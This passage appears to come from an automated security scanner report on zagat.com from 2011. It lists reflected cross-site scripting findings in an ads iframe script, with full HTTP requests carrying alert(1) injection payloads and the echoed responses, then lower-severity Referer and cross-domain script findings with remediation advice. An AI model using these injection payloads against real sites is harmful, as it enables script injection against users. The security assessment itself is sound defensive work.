X-Cache: MISS

<html>
<head>
<style type="text/css">
body { margin:0px; overflow: hidden;}
</style>
</head>
<body>


<script type='text/javascript'> var federated_media_section = "hom
...[SNIP]...
<script type="text/javascript"> var fm_custom_kvs="user_type=anonbef98";alert(1)//661d16cf7ae";</script>
...[SNIP]...

1.10. http://www.zagat.com/sites/all/modules/features/zagat_ads/iframe.php [fmsection parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.zagat.com
Path:   /sites/all/modules/features/zagat_ads/iframe.php

Issue detail

The value of the fmsection request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 894b2"%3balert(1)//4f1f65bf562 was submitted in the fmsection parameter. This input was echoed as 894b2";alert(1)//4f1f65bf562 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /sites/all/modules/features/zagat_ads/iframe.php?size=962x60&fmzone=4477&fmsection=homepage894b2"%3balert(1)//4f1f65bf562&custom_kvs=user_type%3Danon HTTP/1.1
Host: www.zagat.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.202 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: http://www.zagat.com/c/stowe-vt
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __qca=P0-1124495082-1318985956938; ZL=burlington; ZLOC=%5B%7B%22N%22%3A%22Stowe%2C%20VT%22%2C%22LCL%22%3A%22Burlington%22%2C%22LCLF%22%3A%22burlington%22%2C%22LL%22%3A%2244.475066%2C-72.702251%22%2C%22R%22%3A%220%22%7D%5D; zLAP=%2Flocations%2Fbrowse; __utmx=62981284.; __utmxx=62981284.; __utma=62981284.1582785057.1318985958.1318985958.1318985958.1; __utmb=62981284.8.10.1318985958; __utmc=62981284; __utmz=62981284.1318985958.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none)

Response

HTTP/1.1 200 OK
Server: Apache/2.2.3 (Red Hat)
X-Web-Head: web04.zagat.com
Content-Type: text/html; charset=UTF-8
X-Powered-By: PHP/5.3.8
Content-Length: 693
Date: Wed, 19 Oct 2011 01:00:37 GMT
X-Varnish: 483497551
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Cache: MISS

<html>
<head>
<style type="text/css">
body { margin:0px; overflow: hidden;}
</style>
</head>
<body>


<script type='text/javascript'> var federated_media_section = "homepage894b2";alert(1)//4f1f65bf562"; </script>
...[SNIP]...

1.11. http://www.zagat.com/sites/all/modules/features/zagat_ads/iframe.php [fmzone parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.zagat.com
Path:   /sites/all/modules/features/zagat_ads/iframe.php

Issue detail

The value of the fmzone request parameter is copied into the value of an HTML tag attribute which is encapsulated in single quotation marks. The payload deadc'><script>alert(1)</script>e185f83399d was submitted in the fmzone parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /sites/all/modules/features/zagat_ads/iframe.php?size=962x60&fmzone=4477deadc'><script>alert(1)</script>e185f83399d&fmsection=homepage&custom_kvs=user_type%3Danon HTTP/1.1
Host: www.zagat.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.202 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: http://www.zagat.com/c/stowe-vt
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __qca=P0-1124495082-1318985956938; ZL=burlington; ZLOC=%5B%7B%22N%22%3A%22Stowe%2C%20VT%22%2C%22LCL%22%3A%22Burlington%22%2C%22LCLF%22%3A%22burlington%22%2C%22LL%22%3A%2244.475066%2C-72.702251%22%2C%22R%22%3A%220%22%7D%5D; zLAP=%2Flocations%2Fbrowse; __utmx=62981284.; __utmxx=62981284.; __utma=62981284.1582785057.1318985958.1318985958.1318985958.1; __utmb=62981284.8.10.1318985958; __utmc=62981284; __utmz=62981284.1318985958.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none)

Response

HTTP/1.1 200 OK
Server: Apache/2.2.3 (Red Hat)
X-Web-Head: web01.zagat.com
Content-Type: text/html; charset=UTF-8
X-Powered-By: PHP/5.3.8
Content-Length: 708
Date: Wed, 19 Oct 2011 01:00:34 GMT
X-Varnish: 782412863
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Cache: MISS

<html>
<head>
<style type="text/css">
body { margin:0px; overflow: hidden;}
</style>
</head>
<body>


<script type='text/javascript'> var federated_media_section = "hom
...[SNIP]...
<script type='text/javascript' src='http://static.fmpub.net/zone/4477deadc'><script>alert(1)</script>e185f83399d'>
...[SNIP]...

1.12. http://www.zagat.com/sites/all/modules/features/zagat_ads/iframe.php [name of an arbitrarily supplied request parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.zagat.com
Path:   /sites/all/modules/features/zagat_ads/iframe.php

Issue detail

The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload dddbe"%3balert(1)//20d3c8648de was submitted in the name of an arbitrarily supplied request parameter. This input was echoed as dddbe";alert(1)//20d3c8648de in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /sites/all/modules/features/zagat_ads/iframe.php?size=962x60&fmzone=4477&fmsection=homepage&custom_kvs=user_type%3D/dddbe"%3balert(1)//20d3c8648deanon HTTP/1.1
Host: www.zagat.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.202 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: http://www.zagat.com/c/stowe-vt
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __qca=P0-1124495082-1318985956938; ZL=burlington; ZLOC=%5B%7B%22N%22%3A%22Stowe%2C%20VT%22%2C%22LCL%22%3A%22Burlington%22%2C%22LCLF%22%3A%22burlington%22%2C%22LL%22%3A%2244.475066%2C-72.702251%22%2C%22R%22%3A%220%22%7D%5D; zLAP=%2Flocations%2Fbrowse; __utmx=62981284.; __utmxx=62981284.; __utma=62981284.1582785057.1318985958.1318985958.1318985958.1; __utmb=62981284.8.10.1318985958; __utmc=62981284; __utmz=62981284.1318985958.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none)

Response

HTTP/1.1 200 OK
Server: Apache/2.2.3 (Red Hat)
X-Web-Head: web01.zagat.com
Content-Type: text/html; charset=UTF-8
X-Powered-By: PHP/5.3.8
Content-Length: 694
Date: Wed, 19 Oct 2011 01:00:58 GMT
X-Varnish: 483497935
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Cache: MISS

<html>
<head>
<style type="text/css">
body { margin:0px; overflow: hidden;}
</style>
</head>
<body>


<script type='text/javascript'> var federated_media_section = "hom
...[SNIP]...
<script type="text/javascript"> var fm_custom_kvs="user_type=/dddbe";alert(1)//20d3c8648deanon";</script>
...[SNIP]...

1.13. http://www.zagat.com/sites/all/modules/features/zagat_ads/iframe.php [size parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.zagat.com
Path:   /sites/all/modules/features/zagat_ads/iframe.php

Issue detail

The value of the size request parameter is copied into an HTML comment. The payload 98e6c--><script>alert(1)</script>17178de58de was submitted in the size parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.

Request

GET /sites/all/modules/features/zagat_ads/iframe.php?size=962x6098e6c--><script>alert(1)</script>17178de58de&fmzone=4477&fmsection=homepage&custom_kvs=user_type%3Danon HTTP/1.1
Host: www.zagat.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.202 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: http://www.zagat.com/c/stowe-vt
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __qca=P0-1124495082-1318985956938; ZL=burlington; ZLOC=%5B%7B%22N%22%3A%22Stowe%2C%20VT%22%2C%22LCL%22%3A%22Burlington%22%2C%22LCLF%22%3A%22burlington%22%2C%22LL%22%3A%2244.475066%2C-72.702251%22%2C%22R%22%3A%220%22%7D%5D; zLAP=%2Flocations%2Fbrowse; __utmx=62981284.; __utmxx=62981284.; __utma=62981284.1582785057.1318985958.1318985958.1318985958.1; __utmb=62981284.8.10.1318985958; __utmc=62981284; __utmz=62981284.1318985958.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none)

Response

HTTP/1.1 200 OK
Server: Apache/2.2.3 (Red Hat)
X-Web-Head: web04.zagat.com
Content-Type: text/html; charset=UTF-8
X-Powered-By: PHP/5.3.8
Content-Length: 753
Date: Wed, 19 Oct 2011 01:00:32 GMT
X-Varnish: 483497476
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Cache: MISS

<html>
<head>
<style type="text/css">
body { margin:0px; overflow: hidden;}
</style>
</head>
<body>


<script type='text/javascript'> var federated_media_section = "hom
...[SNIP]...
<!-- FM Zagat Test 962x6098e6c--><script>alert(1)</script>17178de58de Zone -->
...[SNIP]...

2. Referer-dependent response  previous  next

Summary

Severity:   Information
Confidence:   Firm
Host:   http://www.zagat.com
Path:   /search/map/ajax

Issue description

The application's responses appear to depend systematically on the presence or absence of the Referer header in requests. This behaviour does not necessarily constitute a security vulnerability, and you should investigate the nature of and reason for the differential responses to determine whether a vulnerability is present.

Common explanations for Referer-dependent responses include:

Issue remediation

The Referer header is not a robust foundation on which to build any security measures, such as access controls or defences against cross-site request forgery. Any such measures should be replaced with more secure alternatives that are not vulnerable to Referer spoofing.

If the contents of responses is updated based on Referer data, then the same defences against malicious input should be employed here as for any other kinds of user-supplied data.

Request 1

GET /search/map/ajax?where%5Bname%5D=bellevue%2C+wa&s=open&yp=1&where%5Blat%5D=47.610377&where%5Blon%5D=-122.2006786&where%5Bradius%5D=1.6&where%5Blocale%5D=Seattle&pp=10&text=sushi&r%5B%5D=4740&o%5Bd%5D=fri&o%5Bh%5D=20 HTTP/1.1
Host: www.zagat.com
Proxy-Connection: keep-alive
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.202 Safari/535.1
Content-Type: application/x-www-form-urlencoded
Accept: */*
Referer: http://www.zagat.com/search/map?text=sushi&where[name]=bellevue%2C%20wa&where[id]=&where[lat]=47.610377&where[lon]=-122.2006786&where[locale]=Seattle&where[radius]=0
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utmx_k_146772333=1; __qca=P0-1124495082-1318985956938; ZL=burlington; ZLOC=%5B%7B%22N%22%3A%22Stowe%2C%20VT%22%2C%22LCL%22%3A%22Burlington%22%2C%22LCLF%22%3A%22burlington%22%2C%22LL%22%3A%2244.475066%2C-72.702251%22%2C%22R%22%3A%220%22%7D%5D; __qseg=Q_D; __csref=http%3A%2F%2Fwww.zagat.com%2Fuser%2F2697862%2Freviews; zLAP=%2Fuser%2F2697862%2Freviews; __utmx=62981284.; __utmxx=62981284.; __utma=62981284.1582785057.1318985958.1318985958.1318985958.1; __utmb=62981284.12.10.1318985958; __utmc=62981284; __utmz=62981284.1318985958.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none)

Response 1

HTTP/1.1 302 Found
Server: Apache/2.2.3 (Red Hat)
X-Web-Head: web04.zagat.com
X-Varnish: 782414345
Vary: Cookie
Cache-Control: no-cache, no-store, must-revalidate
X-Cache: MISS
Content-Type: application/json
Date: Wed, 19 Oct 2011 01:02:11 GMT
Location: http://www.zagat.com/r/seastar-restaurant-raw-bar-bellevue
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Via: 1.1 varnish
Connection: keep-alive
Last-Modified: Wed, 19 Oct 2011 01:02:11 +0000
X-Powered-By: PHP/5.3.8
Age: 0
Content-Length: 0

Request 2

GET /search/map/ajax?where%5Bname%5D=bellevue%2C+wa&s=open&yp=1&where%5Blat%5D=47.610377&where%5Blon%5D=-122.2006786&where%5Bradius%5D=1.6&where%5Blocale%5D=Seattle&pp=10&text=sushi&r%5B%5D=4740&o%5Bd%5D=fri&o%5Bh%5D=20 HTTP/1.1
Host: www.zagat.com
Proxy-Connection: keep-alive
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.202 Safari/535.1
Content-Type: application/x-www-form-urlencoded
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utmx_k_146772333=1; __qca=P0-1124495082-1318985956938; ZL=burlington; ZLOC=%5B%7B%22N%22%3A%22Stowe%2C%20VT%22%2C%22LCL%22%3A%22Burlington%22%2C%22LCLF%22%3A%22burlington%22%2C%22LL%22%3A%2244.475066%2C-72.702251%22%2C%22R%22%3A%220%22%7D%5D; __qseg=Q_D; __csref=http%3A%2F%2Fwww.zagat.com%2Fuser%2F2697862%2Freviews; zLAP=%2Fuser%2F2697862%2Freviews; __utmx=62981284.; __utmxx=62981284.; __utma=62981284.1582785057.1318985958.1318985958.1318985958.1; __utmb=62981284.12.10.1318985958; __utmc=62981284; __utmz=62981284.1318985958.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none)

Response 2

HTTP/1.1 302 Found
Server: Apache/2.2.3 (Red Hat)
X-Web-Head: web03.zagat.com
X-Varnish: 782416869
Vary: Cookie
Cache-Control: no-cache, no-store, must-revalidate
X-Cache: MISS
Content-Type: application/json
Date: Wed, 19 Oct 2011 01:04:22 GMT
Location: http://www.zagat.com/r/seastar-restaurant-raw-bar-bellevue
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Via: 1.1 varnish
Connection: keep-alive
Set-Cookie: SESS1062eccd995245f682b3043fb4d8c90b=0e593055b9d7f7dcd2b42b37e4d27a0d; expires=Tue, 17-Jan-2012 01:04:22 GMT; path=/; domain=.www.zagat.com; HttpOnly
Last-Modified: Wed, 19 Oct 2011 01:04:20 +0000
X-Powered-By: PHP/5.3.8
Age: 0
Content-Length: 0


3. Cross-domain Referer leakage  previous  next
There are 4 instances of this issue:

Issue background

When a web browser makes a request for a resource, it typically adds an HTTP header, called the "Referer" header, indicating the URL of the resource from which the request originated. This occurs in numerous situations, for example when a web page loads an image or script, or when a user clicks on a link or submits a form.

If the resource being requested resides on a different domain, then the Referer header is still generally included in the cross-domain request. If the originating URL contains any sensitive information within its query string, such as a session token, then this information will be transmitted to the other domain. If the other domain is not fully trusted by the application, then this may lead to a security compromise.

You should review the contents of the information being transmitted to other domains, and also determine whether those domains are fully trusted by the originating application.

Today's browsers may withhold the Referer header in some situations (for example, when loading a non-HTTPS resource from a page that was loaded over HTTPS, or when a Refresh directive is issued), but this behaviour should not be relied upon to protect the originating URL from disclosure.

Note also that if users can author content within the application then an attacker may be able to inject links referring to a domain they control in order to capture data from URLs used within the application.

Issue remediation

The application should never transmit any sensitive information within the URL query string. In addition to being leaked in the Referer header, such information may be logged in various locations and may be visible on-screen to untrusted parties.


3.1. http://www.zagat.com/locations/browse  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.zagat.com
Path:   /locations/browse

Issue detail

The page was loaded from a URL containing a query string:The response contains the following links to other domains:

Request

GET /locations/browse?l=563 HTTP/1.1
Host: www.zagat.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.202 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: http://www.zagat.com/locations
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __qca=P0-1124495082-1318985956938; zLAP=%2F; __utmx=62981284.; __utmxx=62981284.; __utma=62981284.1582785057.1318985958.1318985958.1318985958.1; __utmb=62981284.4.10.1318985958; __utmc=62981284; __utmz=62981284.1318985958.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none)

Response

HTTP/1.1 200 OK
Server: Apache/2.2.3 (Red Hat)
X-Web-Head: web01.zagat.com
Cache-Control: public, max-age=3600
Content-Type: text/html; charset=utf-8
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Last-Modified: Wed, 19 Oct 2011 00:59:32 +0000
X-Powered-By: PHP/5.3.8
Content-Length: 20098
Date: Wed, 19 Oct 2011 00:59:32 GMT
X-Varnish: 483496464
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Cache: MISS
Vary: Cookie

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" >
<head>
<m
...[SNIP]...
</span><a href="http://zagatsurvey.custhelp.com" target="_blank" class="meta-navigation-link last" rel="nofollow" id="meta-help">Help</a>
...[SNIP]...
<li id="lnk_wine" class="last"><a href="http://www.zagatwine.com/3504006" target="_blank" rel="nofollow">Zagat Wine</a>
...[SNIP]...
<li id="lnk_soc_facebook" class="first"><a href="http://www.facebook.com/Zagat" target="_blank">Facebook</a></li>
<li id="lnk_soc_twitter"><a href="http://twitter.com/zagat" target="_blank">Twitter</a></li>
<li id="lnk_soc_foursquare"><a href="http://foursquare.com/zagat" target="_blank">Foursquare</a>
...[SNIP]...
<li id="lnk_soc_flickr"><a href="http://www.flickr.com/photos/zagatbuzz/" target="_blank">Flickr</a></li>
<li id="lnk_soc_youtube" class="last"><a href="http://www.youtube.com/zagatbuzz" target="_blank">YouTube</a>
...[SNIP]...
<!-- End of Google Website Optimizer Tracking Script -->

<iframe src='http://pixel.fetchback.com/serve/fb/pdj?cat=&name=landing&sid=3997' scrolling='no' width='1' height='1' marginheight='0' marginwidth='0' frameborder='0'></iframe>
...[SNIP]...
<!-- begin ZEDO for channel: Zagat Pops , publisher: Zagat , Ad Dimension: Pixel/Popup - 1 x 1 -->
<iframe src="http://c5.zedo.com/jsc/c5/ff2.html?n=305;c=6374/6373/1;s=1199;d=15;w=1;h=1" frameborder=0 marginheight=0 marginwidth=0 scrolling="no" allowTransparency="true" width=1 height=1></iframe>
...[SNIP]...
<div style="display:none;"><img src="//pixel.quantserve.com/pixel/p-1af1r3PAGvA5E.gif" border="0" height="1" width="1" alt="Quantcast"/></div></noscript><!-- End Quantcast tag -->
<script type="text/javascript" src="https://apis.google.com/js/plusone.js"></script>
...[SNIP]...

3.2. http://www.zagat.com/search/map  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.zagat.com
Path:   /search/map

Issue detail

The page was loaded from a URL containing a query string:The response contains the following links to other domains:

Request

GET /search/map?text=sushi&where[name]=bellevue%2C%20wa&where[id]=&where[lat]=47.610377&where[lon]=-122.2006786&where[locale]=Seattle&where[radius]=0 HTTP/1.1
Host: www.zagat.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.202 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __qca=P0-1124495082-1318985956938; ZL=burlington; ZLOC=%5B%7B%22N%22%3A%22Stowe%2C%20VT%22%2C%22LCL%22%3A%22Burlington%22%2C%22LCLF%22%3A%22burlington%22%2C%22LL%22%3A%2244.475066%2C-72.702251%22%2C%22R%22%3A%220%22%7D%5D; zLAP=%2Fc%2Fstowe-vt; __utmx=62981284.; __utmxx=62981284.; __utma=62981284.1582785057.1318985958.1318985958.1318985958.1; __utmb=62981284.10.10.1318985958; __utmc=62981284; __utmz=62981284.1318985958.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __qseg=Q_D; __csref=http%3A%2F%2Fwww.zagat.com%2Fuser%2F2697862%2Freviews

Response

HTTP/1.1 200 OK
Server: Apache/2.2.3 (Red Hat)
X-Web-Head: web04.zagat.com
Cache-Control: public, max-age=3600
Content-Type: text/html; charset=utf-8
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Last-Modified: Wed, 19 Oct 2011 01:02:05 +0000
X-Powered-By: PHP/5.3.8
Content-Length: 50887
Date: Wed, 19 Oct 2011 01:02:06 GMT
X-Varnish: 782414203
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Cache: MISS
Vary: Cookie

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" >
<head>
<m
...[SNIP]...
</span><a href="http://zagatsurvey.custhelp.com" target="_blank" class="meta-navigation-link last" rel="nofollow" id="meta-help">Help</a>
...[SNIP]...
<li id="lnk_wine" class="last"><a href="http://www.zagatwine.com/3504006" target="_blank" rel="nofollow">Zagat Wine</a>
...[SNIP]...
<li id="lnk_soc_facebook" class="first"><a href="http://www.facebook.com/Zagat" target="_blank">Facebook</a></li>
<li id="lnk_soc_twitter"><a href="http://twitter.com/zagat" target="_blank">Twitter</a></li>
<li id="lnk_soc_foursquare"><a href="http://foursquare.com/zagat" target="_blank">Foursquare</a>
...[SNIP]...
<li id="lnk_soc_flickr"><a href="http://www.flickr.com/photos/zagatbuzz/" target="_blank">Flickr</a></li>
<li id="lnk_soc_youtube" class="last"><a href="http://www.youtube.com/zagatbuzz" target="_blank">YouTube</a>
...[SNIP]...
<!-- End of Google Website Optimizer Tracking Script -->

<iframe src='http://pixel.fetchback.com/serve/fb/pdj?cat=&name=landing&sid=3997' scrolling='no' width='1' height='1' marginheight='0' marginwidth='0' frameborder='0'></iframe>
...[SNIP]...
<!-- begin ZEDO for channel: Zagat Pops , publisher: Zagat , Ad Dimension: Pixel/Popup - 1 x 1 -->
<iframe src="http://c5.zedo.com/jsc/c5/ff2.html?n=305;c=6374/6373/1;s=1199;d=15;w=1;h=1" frameborder=0 marginheight=0 marginwidth=0 scrolling="no" allowTransparency="true" width=1 height=1></iframe>
...[SNIP]...
<div style="display:none;"><img src="//pixel.quantserve.com/pixel/p-1af1r3PAGvA5E.gif" border="0" height="1" width="1" alt="Quantcast"/></div></noscript><!-- End Quantcast tag -->
<script type="text/javascript" src="https://apis.google.com/js/plusone.js"></script>
...[SNIP]...

3.3. http://www.zagat.com/sites/all/modules/features/zagat_ads/iframe.php  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.zagat.com
Path:   /sites/all/modules/features/zagat_ads/iframe.php

Issue detail

The page was loaded from a URL containing a query string:The response contains the following links to other domains:

Request

GET /sites/all/modules/features/zagat_ads/iframe.php?size=962x60&fmzone=4477&fmsection=homepage&custom_kvs=user_type%3Danon HTTP/1.1
Host: www.zagat.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.202 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: http://www.zagat.com/c/stowe-vt
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __qca=P0-1124495082-1318985956938; ZL=burlington; ZLOC=%5B%7B%22N%22%3A%22Stowe%2C%20VT%22%2C%22LCL%22%3A%22Burlington%22%2C%22LCLF%22%3A%22burlington%22%2C%22LL%22%3A%2244.475066%2C-72.702251%22%2C%22R%22%3A%220%22%7D%5D; zLAP=%2Flocations%2Fbrowse; __utmx=62981284.; __utmxx=62981284.; __utma=62981284.1582785057.1318985958.1318985958.1318985958.1; __utmb=62981284.8.10.1318985958; __utmc=62981284; __utmz=62981284.1318985958.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none)

Response

HTTP/1.1 200 OK
Server: Apache/2.2.3 (Red Hat)
X-Web-Head: web04.zagat.com
Content-Type: text/html; charset=UTF-8
X-Powered-By: PHP/5.3.8
Content-Length: 665
Date: Wed, 19 Oct 2011 01:00:03 GMT
X-Varnish: 782412397 782411861
Age: 39
Via: 1.1 varnish
Connection: keep-alive
X-Cache: HIT

<html>
<head>
<style type="text/css">
body { margin:0px; overflow: hidden;}
</style>
</head>
<body>


<script type='text/javascript'> var federated_media_section = "hom
...[SNIP]...
<!-- FM Tracking Pixel -->
<script type='text/javascript' src='http://static.fmpub.net/site/zagat'></script>
...[SNIP]...
</script>
<script type='text/javascript' src='http://static.fmpub.net/zone/4477'></script>
...[SNIP]...

3.4. http://www.zagat.com/sites/all/modules/features/zagat_ads/iframe.php  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.zagat.com
Path:   /sites/all/modules/features/zagat_ads/iframe.php

Issue detail

The page was loaded from a URL containing a query string:The response contains the following links to other domains:

Request

GET /sites/all/modules/features/zagat_ads/iframe.php?size=728x90&fmzone=4476&fmsection=rdre&custom_kvs=user_type%3Danon HTTP/1.1
Host: www.zagat.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.202 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: http://www.zagat.com/user/2697862/reviews
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __qca=P0-1124495082-1318985956938; ZL=burlington; ZLOC=%5B%7B%22N%22%3A%22Stowe%2C%20VT%22%2C%22LCL%22%3A%22Burlington%22%2C%22LCLF%22%3A%22burlington%22%2C%22LL%22%3A%2244.475066%2C-72.702251%22%2C%22R%22%3A%220%22%7D%5D; zLAP=%2Fc%2Fstowe-vt; __utmx=62981284.; __utmxx=62981284.; __utma=62981284.1582785057.1318985958.1318985958.1318985958.1; __utmb=62981284.10.10.1318985958; __utmc=62981284; __utmz=62981284.1318985958.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none)

Response

HTTP/1.1 200 OK
Server: Apache/2.2.3 (Red Hat)
X-Web-Head: web04.zagat.com
Content-Type: text/html; charset=UTF-8
X-Powered-By: PHP/5.3.8
Content-Length: 661
Date: Wed, 19 Oct 2011 01:00:12 GMT
X-Varnish: 483497098
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Cache: MISS

<html>
<head>
<style type="text/css">
body { margin:0px; overflow: hidden;}
</style>
</head>
<body>


<script type='text/javascript'> var federated_media_section = "rdr
...[SNIP]...
<!-- FM Tracking Pixel -->
<script type='text/javascript' src='http://static.fmpub.net/site/zagat'></script>
...[SNIP]...
</script>
<script type='text/javascript' src='http://static.fmpub.net/zone/4476'></script>
...[SNIP]...

4. Cross-domain script include  previous  next
There are 13 instances of this issue:

Issue background

When an application includes a script from an external domain, this script is executed by the browser within the security context of the invoking application. The script can therefore do anything that the application's own scripts can do, such as accessing application data and performing actions within the context of the current user.

If you include a script from an external domain, then you are trusting that domain with the data and functionality of your application, and you are trusting the domain's own security to prevent an attacker from modifying the script to perform malicious actions within your application.

Issue remediation

Scripts should not be included from untrusted domains. If you have a requirement which a third-party script appears to fulfil, then you should ideally copy the contents of that script onto your own domain and include it from there. If that is not possible (e.g. for licensing reasons) then you should consider reimplementing the script's functionality within your own code.


4.1. http://www.zagat.com/  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.zagat.com
Path:   /

Issue detail

The response dynamically includes the following script from another domain:

Request

GET / HTTP/1.1
Host: www.zagat.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.202 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
